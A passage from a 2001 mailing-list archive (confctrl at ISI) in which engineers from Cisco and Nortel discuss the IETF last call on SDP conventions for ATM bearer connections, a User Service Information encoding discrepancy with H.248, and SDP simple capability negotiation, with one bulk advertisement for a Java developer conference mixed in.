	by zephyr.isi.edu (8.9.3/8.9.3) id QAA23331
	for confctrl-outgoing; Mon, 29 Jan 2001 16:49:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA23326
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 16:49:49 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0U0nmU23165
	for <confctrl@ISI.EDU>; Mon, 29 Jan 2001 16:49:48 -0800 (PST)
Received: from sj-msg-av-2.cisco.com (sj-msg-av-2.cisco.com [171.71.163.110])
	by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id QAA18014;
	Mon, 29 Jan 2001 16:48:35 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-2.cisco.com (8.10.1/8.10.1) with ESMTP id f0U0mKZ28754;
	Mon, 29 Jan 2001 16:48:20 -0800 (PST)
Received: from chsharp-w2k.cisco.com (rtp-vpn-122.cisco.com [10.82.192.122]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id QAA17756; Mon, 29 Jan 2001 16:48:19 -0800 (PST)
Message-Id: <4.3.2.7.2.20010129194605.01ac0ef8@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 29 Jan 2001 19:47:59 -0500
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>
From: Chip Sharp <chsharp@cisco.com>
Subject: RE: Last Call: Conventions for the use of the Session
  Description  Protocol (SDP)for ATM Bearer Connections to Proposed
  Standard
Cc: iesg@ietf.org, confctrl@ISI.EDU, Rajesh Kumar <rkumar@cisco.com>
In-Reply-To: <28560036253BD41191A10000F8BCBD110385B3C4@zcard00g.ca.norte
 l.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Since the ITU SG11/BICC group seems intent on breaking SDP in their IPBCP 
work by turning it into a request/response protocol, does it really matter?

Chip

At 04:26 PM 1/29/2001, Tom-PT Taylor wrote:

>At the very last moment, someone in my organization has stated that there 
>is an inconsistency between the way User Service Information is conveyed 
>in Q.1950 (BICC) and the way it is conveyed in the 'isup-usi' attribute 
>described in the draft.  I cannot see the discrepancy myself.  The person 
>involved is in the UK, so I can't get back to them today. I've asked for 
>more details, which I should have tomorrow morning.  Apologies if this is 
>a false alarm.
>
> > -----Original Message-----
> > From: The IESG 
> [<mailto:iesg-secretary@ietf.org>mailto:iesg-secretary@ietf.org]
> > Sent: Tuesday, January 16, 2001 12:40 PM
> > To: IETF-Announce
> > Cc: confctrl@ISI.EDU
> > Subject: Last Call: Conventions for the use of the Session Description
> > Protocol (SDP)for ATM Bearer Connections to Proposed Standard
> >
> >
> >
> > The IESG has received a request from the Multiparty Multimedia Session
> > Control Working Group to consider Conventions for the use of the
> > Session Description Protocol (SDP)for ATM Bearer Connections
> > <draft-ietf-mmusic-sdp-atm-04.txt> as a Proposed Standard.
> >
> > The IESG plans to make a decision in the next few weeks, and solicits
> > final comments on this action.  Please send any comments to the
> > iesg@ietf.org or ietf@ietf.org mailing lists by January 29, 2001.
> >
> > Files can be obtained via
> > 
> <http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt>http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt 
>
> >
> >


-------------------------------------------------------------------
Chip Sharp                       Consulting Engineering
Cisco Systems
-------------------------------------------------------------------


From confctrl-owner  Mon Jan 29 20:02:39 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA07516
	for confctrl-outgoing; Mon, 29 Jan 2001 20:02:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA07511
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 20:02:38 -0800 (PST)
Received: from zcars04f.ca.nortel.com (h57s242a129n47.user.nortelnetworks.com [47.129.242.57])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0U42bU20249
	for <confctrl@ISI.EDU>; Mon, 29 Jan 2001 20:02:37 -0800 (PST)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Mon, 29 Jan 2001 22:56:10 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <D33PF585>; Mon, 29 Jan 2001 22:56:12 -0500
Message-ID: <28560036253BD41191A10000F8BCBD110385B59B@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: Chip Sharp <chsharp@cisco.com>
Cc: iesg@ietf.org, confctrl@ISI.EDU, Rajesh Kumar <rkumar@cisco.com>
Subject: RE: Last Call: Conventions for the use of the Session Description 
         Protocol (SDP)for ATM Bearer Connections to Proposed Standard
Date: Mon, 29 Jan 2001 22:56:11 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C08A70.95367C00"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C08A70.95367C00
Content-Type: text/plain;
	charset="ISO-8859-1"

I've gotten details since my last note.  The culprit is Megaco/H.248, which
is referenced in the Q.1950 document.  The problem is that the ATM-SDP draft
faithfully reproduces the approved contents of Megaco/H.248, but an error
noted since June has led to a change which is found in the H.248
Implementor's Guide as approved by SG 16 in November.  The sooner I produce
an annotated version of the original document the better!

The change made was to include the entire USI content as defined in Q.763
sec. 3.57, not just the Layer 1 protocol identification.  

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Monday, January 29, 2001 7:48 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH]
> Cc: iesg@ietf.org; confctrl@ISI.EDU; Rajesh Kumar
> Subject: RE: Last Call: Conventions for the use of the Session
> Description Protocol (SDP)for ATM Bearer Connections to Proposed
> Standard
> 
> 
> Since the ITU SG11/BICC group seems intent on breaking SDP in 
> their IPBCP 
> work by turning it into a request/response protocol, does it 
> really matter?
> 
> Chip
> 
> At 04:26 PM 1/29/2001, Tom-PT Taylor wrote:
> 
> >At the very last moment, someone in my organization has 
> stated that there 
> >is an inconsistency between the way User Service Information 
> is conveyed 
> >in Q.1950 (BICC) and the way it is conveyed in the 
> 'isup-usi' attribute 
> >described in the draft.  I cannot see the discrepancy 
> myself.  The person 
> >involved is in the UK, so I can't get back to them today. 
> I've asked for 
> >more details, which I should have tomorrow morning.  
> Apologies if this is 
> >a false alarm.
> >
> > > -----Original Message-----
> > > From: The IESG 
> > [<mailto:iesg-secretary@ietf.org>mailto:iesg-secretary@ietf.org]
> > > Sent: Tuesday, January 16, 2001 12:40 PM
> > > To: IETF-Announce
> > > Cc: confctrl@ISI.EDU
> > > Subject: Last Call: Conventions for the use of the 
> Session Description
> > > Protocol (SDP)for ATM Bearer Connections to Proposed Standard
> > >
> > >
> > >
> > > The IESG has received a request from the Multiparty 
> Multimedia Session
> > > Control Working Group to consider Conventions for the use of the
> > > Session Description Protocol (SDP)for ATM Bearer Connections
> > > <draft-ietf-mmusic-sdp-atm-04.txt> as a Proposed Standard.
> > >
> > > The IESG plans to make a decision in the next few weeks, 
> and solicits
> > > final comments on this action.  Please send any comments to the
> > > iesg@ietf.org or ietf@ietf.org mailing lists by January 29, 2001.
> > >
> > > Files can be obtained via
> > > 
> > 
<http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt>http:/
/www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt 
>
> >
> >


-------------------------------------------------------------------
Chip Sharp                       Consulting Engineering
Cisco Systems
-------------------------------------------------------------------


------_=_NextPart_001_01C08A70.95367C00
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Last Call: Conventions for the use of the Session =
Description  Protocol (SDP)for ATM Bearer Connections to Proposed =
Standard</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I've gotten details since my last note.&nbsp; The =
culprit is Megaco/H.248, which is referenced in the Q.1950 =
document.&nbsp; The problem is that the ATM-SDP draft faithfully =
reproduces the approved contents of Megaco/H.248, but an error noted =
since June has led to a change which is found in the H.248 =
Implementor's Guide as approved by SG 16 in November.&nbsp; The sooner =
I produce an annotated version of the original document the =
better!</FONT></P>

<P><FONT SIZE=3D2>The change made was to include the entire USI content =
as defined in Q.763 sec. 3.57, not just the Layer 1 protocol =
identification.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Chip Sharp [<A =
HREF=3D"mailto:chsharp@cisco.com">mailto:chsharp@cisco.com</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Monday, January 29, 2001 7:48 PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: Taylor, Tom-PT [NORSE:B901:EXCH]</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: iesg@ietf.org; confctrl@ISI.EDU; Rajesh =
Kumar</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: RE: Last Call: Conventions for the use =
of the Session</FONT>
<BR><FONT SIZE=3D2>&gt; Description Protocol (SDP)for ATM Bearer =
Connections to Proposed</FONT>
<BR><FONT SIZE=3D2>&gt; Standard</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Since the ITU SG11/BICC group seems intent on =
breaking SDP in </FONT>
<BR><FONT SIZE=3D2>&gt; their IPBCP </FONT>
<BR><FONT SIZE=3D2>&gt; work by turning it into a request/response =
protocol, does it </FONT>
<BR><FONT SIZE=3D2>&gt; really matter?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Chip</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; At 04:26 PM 1/29/2001, Tom-PT Taylor =
wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;At the very last moment, someone in my =
organization has </FONT>
<BR><FONT SIZE=3D2>&gt; stated that there </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;is an inconsistency between the way User =
Service Information </FONT>
<BR><FONT SIZE=3D2>&gt; is conveyed </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;in Q.1950 (BICC) and the way it is conveyed =
in the </FONT>
<BR><FONT SIZE=3D2>&gt; 'isup-usi' attribute </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;described in the draft.&nbsp; I cannot see =
the discrepancy </FONT>
<BR><FONT SIZE=3D2>&gt; myself.&nbsp; The person </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;involved is in the UK, so I can't get back =
to them today. </FONT>
<BR><FONT SIZE=3D2>&gt; I've asked for </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;more details, which I should have tomorrow =
morning.&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; Apologies if this is </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;a false alarm.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; From: The IESG </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; [&lt;<A =
HREF=3D"mailto:iesg-secretary@ietf.org">mailto:iesg-secretary@ietf.org</=
A>&gt;<A =
HREF=3D"mailto:iesg-secretary@ietf.org">mailto:iesg-secretary@ietf.org</=
A>]</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Sent: Tuesday, January 16, 2001 12:40 =
PM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; To: IETF-Announce</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Cc: confctrl@ISI.EDU</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Subject: Last Call: Conventions for =
the use of the </FONT>
<BR><FONT SIZE=3D2>&gt; Session Description</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Protocol (SDP)for ATM Bearer =
Connections to Proposed Standard</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; The IESG has received a request from =
the Multiparty </FONT>
<BR><FONT SIZE=3D2>&gt; Multimedia Session</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Control Working Group to consider =
Conventions for the use of the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Session Description Protocol (SDP)for =
ATM Bearer Connections</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; =
&lt;draft-ietf-mmusic-sdp-atm-04.txt&gt; as a Proposed Standard.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; The IESG plans to make a decision in =
the next few weeks, </FONT>
<BR><FONT SIZE=3D2>&gt; and solicits</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; final comments on this action.&nbsp; =
Please send any comments to the</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; iesg@ietf.org or ietf@ietf.org =
mailing lists by January 29, 2001.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Files can be obtained via</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&lt;<A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04=
.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-mmusic-=
sdp-atm-04.txt</A>&gt;<A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04=
.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-mmusic-=
sdp-atm-04.txt</A> </FONT></P>

<P><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
</P>
<BR>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
----</FONT>
<BR><FONT SIZE=3D2>Chip =
Sharp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Consulting Engineering</FONT>
<BR><FONT SIZE=3D2>Cisco Systems</FONT>
<BR><FONT =
SIZE=3D2>---------------------------------------------------------------=
----</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C08A70.95367C00--

From confctrl-owner  Wed Jan 31 09:36:01 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA11182
	for confctrl-outgoing; Wed, 31 Jan 2001 09:36:01 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA11176
	for <confctrl@zephyr.isi.edu>; Wed, 31 Jan 2001 09:35:58 -0800 (PST)
Received: from email3.main (ip204.salt-lake-city12.ut.pub-ip.psi.net [38.31.170.204])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0VHZuU21228
	for <confctrl@isi.edu>; Wed, 31 Jan 2001 09:35:56 -0800 (PST)
Message-Id: <200101311735.f0VHZuU21228@tnt.isi.edu>
From: "Camelot Events Reminder" <java@dsi-epubs.net>
To: confctrl@ISI.EDU
Date: Wed, 31 Jan 2001 10:57:20 +0000
Subject: International Conference for Java Development - Registration Open.
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
If you do not wish to receive future email messages, please forward
this message to java-remove@dsi-epubs.net.
(be sure to forward the ENTIRE message, or you may not be removed!)
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Master new programming skills at the largest gathering of Java(tm) technology
users coming to the East Coast in 2001!

International Conference for Java Development
Conference: February 28 - March 2/Exhibition: March 1-2
Marriott Marquis, New York City
Java University(sm) Preconfernce: February 26 - 27

Register today for the only Java developer focused event coming to New York!
Over 2,500 of your peers will be here, along with the industry's most respected
technical experts, sought-after gurus and advanced users who will show you how
to maximize Java technology to build the next generation enterprise applications.
Dedicate yourself to 5 days of Java intellect and master new skills from those
who are deploying Java in today's large-scale enterprise applications.

Featuring Sun Microsystems' Java University Program on February 26 and 27.
The International Conference for Java Development is proud to present
Sun Microsystems' Java University(sm) Program. This two-day pre-conference
program offers multiple full-day, code-level training sessions presented by
industry experts. Learn about enterprise development, component development,
using XML or prepare for and take the Programmer certification exam - onsite!
Combine Java University with your three-day pass to maximize your investment in
Java technology training.

Register at: http://www.javacon2001.com  or call 212-251-0006, ext. 13.  For
more information contact us at mailto:info@camelot-com.com

Event Highlights
*Presented by overwhelming demand, this will be the largest and most
 sophisticated Java event to come to New York in 2001.
*Superior technical program - 5 tracks with over 70 sessions to select from.
*Night School Sessions- Extend your day program or take independently
*Expert faculty including Martin Fowler, Marco Pistoia, Peter Haggar, Bill Day,
 Elliotte Rusty Harold, Paul Lipton, Gregory Messner, Tyler Jewell,
 Gerry Seidman, Ed Roman, Marty Hall, Philip Heller
*Free interactive exhibit floor.  Over 10 hours of exploration are waiting for you
*Sun Microsystems' Java University preconference training program
*Get Certified! Take your Java technology certification exam at the show
 (provided by Prometric)

Featuring 5 Concurrent Tracks
*Java in the Real World
*Design
*Enterprise Java
*Java for Wireless and Embedded Systems
*Java Programming

Two-Day Exhibit - Free Special Events Open to All!
Exhibit Hours:
Thursday, March 1 - 12:45 - 6:45 and Friday, March 2, 12:00 - 5:00
A full-scale exhibit hall packed with leading vendors will be on hand to
demonstrate the latest products and answer your questions.  All are welcome to
fun-filled networking opportunities, including:
*Keynote Presentations
*Product Education Sessions
*Technology Briefings
*Panel Discussions
*Welcome Reception
*Product Giveaways

Onsite Java technology certification exams by Prometric
Testing facility in the Sun Education Pavilion. Hours:
Thursday, March 1 - 12:45 - 8:00 and Friday, March 2, 8:00 - 5:00.  Reserve
your spot and get certified at the show.

Register on-line for your free Exhibit Pass - a $25.00 value!

Register at: http://www.javacon2001.com or call 212-251-0006, ext. 13.  For
more information contact us at mailto:info@camelot-com.com 

The Standard of Excellence
We realize you have a choice for your IT training requirements.  Every Camelot
event is recognized for it's on-going commitment to unbiased and up to the
minute technical presentations that are always led by industry leaders.  This
exceptional line-up of speakers and topics is the only event you can't afford
to miss.

The International Conference for Java Development is by produced by
Camelot Communications Corp.   Java and Java-based marks are trademarks or
registered trademarks of Sun Microsystems, Inc. in the United States and other
countries.  Camelot Communications is independent of Sun Microsystems.









































































***DSIID60322<confctrl@isi.edu>***

From confctrl-owner  Thu Feb  1 11:06:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA20273
	for confctrl-outgoing; Thu, 1 Feb 2001 11:06:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA20265
	for <confctrl@zephyr.isi.edu>; Thu, 1 Feb 2001 11:06:38 -0800 (PST)
Received: from zcars04f.ca.nortel.com (h57s242a129n47.user.nortelnetworks.com [47.129.242.57])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f11J6bU15115
	for <confctrl@ISI.EDU>; Thu, 1 Feb 2001 11:06:37 -0800 (PST)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Thu, 1 Feb 2001 14:05:58 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <D33PH7YK>; Thu, 1 Feb 2001 14:05:53 -0500
Message-ID: <28560036253BD41191A10000F8BCBD11038E4142@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: Flemming Andreasen <fandreas@cisco.com>
Cc: Joerg Ott <jo@tzi.uni-bremen.de>, mmusic@informatik.uni-bremen.de,
        confctrl@ISI.EDU
Subject: RE: Simple Capabilities
Date: Thu, 1 Feb 2001 14:05:43 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C08C81.F997D140"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C08C81.F997D140
Content-Type: text/plain;
	charset="ISO-8859-1"

I would think agreement on the use of multiple session descriptions as
alternatives would be one not-too-radical step.  If we could possibly
consider syntactic innovations, the use of ranges for numerical attributes
might be useful.

-----Original Message-----
From: Flemming Andreasen [mailto:fandreas@cisco.com]
Sent: Thursday, January 18, 2001 8:13 PM
To: Taylor, Tom-PT [NORSE:B901:EXCH]
Cc: Joerg Ott; mmusic@informatik.uni-bremen.de; confctrl@ISI.EDU
Subject: Re: Simple Capabilities


  

Tom-PT Taylor wrote: 


  

I would like to suggest that anything we do should move toward making the
Megaco adaptations of SDP in the MGC-MG direction more useful in the reverse
direction.

Can you be a little more specific as to what those are ? 

Also, I would want to note that Megaco stepped outside the syntactic (and
semantic) bounds of RFC 2327 in its use of "SDP" in the MGC-MG direction - I
assume you are not proposing we should adopt that. 


-- Flemming 
  


That's a slightly milder requirement than what I'd really like: that if we
choose to add a certain feature to SDP and Megaco has already provided a
solution for that feature, we should use the Megaco solution. 

> -----Original Message----- 
> From: Joerg Ott [ mailto:jo@tzi.uni-bremen.de
<mailto:jo@tzi.uni-bremen.de> ] 
> Sent: Thursday, January 18, 2001 6:30 AM 
> To: mmusic@informatik.uni-bremen.de 
> Cc: confctrl@isi.edu 
> Subject: Simple Capabilities 
> 
> 
> Folks, 
> 
> at the last IETF, a *very* simple capability negotiation as addition 
> to SDP was discussed: draft-andreasen-mmusic-sdp-simcap-00.txt. 
> Numerous comments came up and it was agreed to proceed as follows: 
> 
> 1.  We will have a period of two weeks for posting comments (and 
>     potential additions) to the list. 
> 
>     This is to expire by 31 January 2001. 
> 
> 2.  From his draft and the additional input, the author will compile 
>     a very brief requirements draft which is to be posted to the list 
>     and will be discussed. 
> 
>     This will take about one weeks (8 February 2001). 
> 
> 3.  After this, the author will modify/extend/fix/... the draft within 
>     three weeks time to make the final I-D deadline (2 March 2001). 
> 
> Please keep in mind that we do not want to accomplish 
> everything with this 
> document but rather provide a simple short-term solution to relatively 
> simple REAL WORLD problems ONLY.  Anything beyond this will 
> not be integrated 
> in the revised document. 
> 
> Cheers, 
> Joerg 
> 
> 
>

-- 
Flemming Andreasen 
Cisco Systems 
  


------_=_NextPart_001_01C08C81.F997D140
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">


<META content="MSHTML 5.00.3103.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=219230319-01022001>I would think agreement on the use of 
multiple session descriptions as alternatives would be one not-too-radical 
step.&nbsp; If we could possibly consider syntactic innovations, the use of 
ranges for numerical attributes might be useful.</SPAN></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Flemming Andreasen 
  [mailto:fandreas@cisco.com]<BR><B>Sent:</B> Thursday, January 18, 2001 8:13 
  PM<BR><B>To:</B> Taylor, Tom-PT [NORSE:B901:EXCH]<BR><B>Cc:</B> Joerg Ott; 
  mmusic@informatik.uni-bremen.de; confctrl@ISI.EDU<BR><B>Subject:</B> Re: 
  Simple Capabilities<BR><BR></DIV></FONT>&nbsp; 
  <P>Tom-PT Taylor wrote: 
  <BLOCKQUOTE TYPE="CITE">&nbsp; 
    <P><FONT size=-1>I would like to suggest that anything we do should move 
    toward making the Megaco adaptations of SDP in the MGC-MG direction more 
    useful in the reverse direction.</FONT></P></BLOCKQUOTE>Can you be a little 
  more specific as to what those are ? 
  <P>Also, I would want to note that Megaco stepped outside the syntactic (and 
  semantic) bounds of RFC 2327 in its use of "SDP" in the MGC-MG direction - I 
  assume you are not proposing we should adopt that. 
  <P>-- Flemming <BR>&nbsp; 
  <BLOCKQUOTE TYPE="CITE"><FONT size=-1>That's a slightly milder requirement 
    than what I'd really like: that if we choose to add a certain feature to SDP 
    and Megaco has already provided a solution for that feature, we should use 
    the Megaco solution.</FONT> 
    <P><FONT size=-1>&gt; -----Original Message-----</FONT> <BR><FONT 
    size=-1>&gt; From: Joerg Ott [<A 
    href="mailto:jo@tzi.uni-bremen.de">mailto:jo@tzi.uni-bremen.de</A>]</FONT> 
    <BR><FONT size=-1>&gt; Sent: Thursday, January 18, 2001 6:30 AM</FONT> 
    <BR><FONT size=-1>&gt; To: mmusic@informatik.uni-bremen.de</FONT> <BR><FONT 
    size=-1>&gt; Cc: confctrl@isi.edu</FONT> <BR><FONT size=-1>&gt; Subject: 
    Simple Capabilities</FONT> <BR><FONT size=-1>&gt;</FONT> <BR><FONT 
    size=-1>&gt;</FONT> <BR><FONT size=-1>&gt; Folks,</FONT> <BR><FONT 
    size=-1>&gt;</FONT> <BR><FONT size=-1>&gt; at the last IETF, a *very* simple 
    capability negotiation as addition</FONT> <BR><FONT size=-1>&gt; to SDP was 
    discussed: draft-andreasen-mmusic-sdp-simcap-00.txt.</FONT> <BR><FONT 
    size=-1>&gt; Numerous comments came up and it was agreed to proceed as 
    follows:</FONT> <BR><FONT size=-1>&gt;</FONT> <BR><FONT size=-1>&gt; 
    1.&nbsp; We will have a period of two weeks for posting comments (and</FONT> 
    <BR><FONT size=-1>&gt;&nbsp;&nbsp;&nbsp;&nbsp; potential additions) to the 
    list.</FONT> <BR><FONT size=-1>&gt;</FONT> <BR><FONT 
    size=-1>&gt;&nbsp;&nbsp;&nbsp;&nbsp; This is to expire by 31 January 
    2001.</FONT> <BR><FONT size=-1>&gt;</FONT> <BR><FONT size=-1>&gt; 2.&nbsp; 
    From his draft and the additional input, the author will compile</FONT> 
    <BR><FONT size=-1>&gt;&nbsp;&nbsp;&nbsp;&nbsp; a very brief requirements 
    draft which is to be posted to the list</FONT> <BR><FONT 
    size=-1>&gt;&nbsp;&nbsp;&nbsp;&nbsp; and will be discussed.</FONT> <BR><FONT 
    size=-1>&gt;</FONT> <BR><FONT size=-1>&gt;&nbsp;&nbsp;&nbsp;&nbsp; This will 
    take about one weeks (8 February 2001).</FONT> <BR><FONT size=-1>&gt;</FONT> 
    <BR><FONT size=-1>&gt; 3.&nbsp; After this, the author will 
    modify/extend/fix/... the draft within</FONT> <BR><FONT 
    size=-1>&gt;&nbsp;&nbsp;&nbsp;&nbsp; three weeks time to make the final I-D 
    deadline (2 March 2001).</FONT> <BR><FONT size=-1>&gt;</FONT> <BR><FONT 
    size=-1>&gt; Please keep in mind that we do not want to accomplish</FONT> 
    <BR><FONT size=-1>&gt; everything with this</FONT> <BR><FONT size=-1>&gt; 
    document but rather provide a simple short-term solution to 
    relatively</FONT> <BR><FONT size=-1>&gt; simple REAL WORLD problems 
    ONLY.&nbsp; Anything beyond this will</FONT> <BR><FONT size=-1>&gt; not be 
    integrated</FONT> <BR><FONT size=-1>&gt; in the revised document.</FONT> 
    <BR><FONT size=-1>&gt;</FONT> <BR><FONT size=-1>&gt; Cheers,</FONT> 
    <BR><FONT size=-1>&gt; Joerg</FONT> <BR><FONT size=-1>&gt;</FONT> <BR><FONT 
    size=-1>&gt;</FONT> <BR><FONT size=-1>&gt;</FONT></P></BLOCKQUOTE>
  <P>-- <BR>Flemming Andreasen <BR>Cisco Systems <BR>&nbsp; 
</P></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C08C81.F997D140--

From confctrl-owner  Thu Feb  1 11:35:53 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA25219
	for confctrl-outgoing; Thu, 1 Feb 2001 11:35:53 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA25213
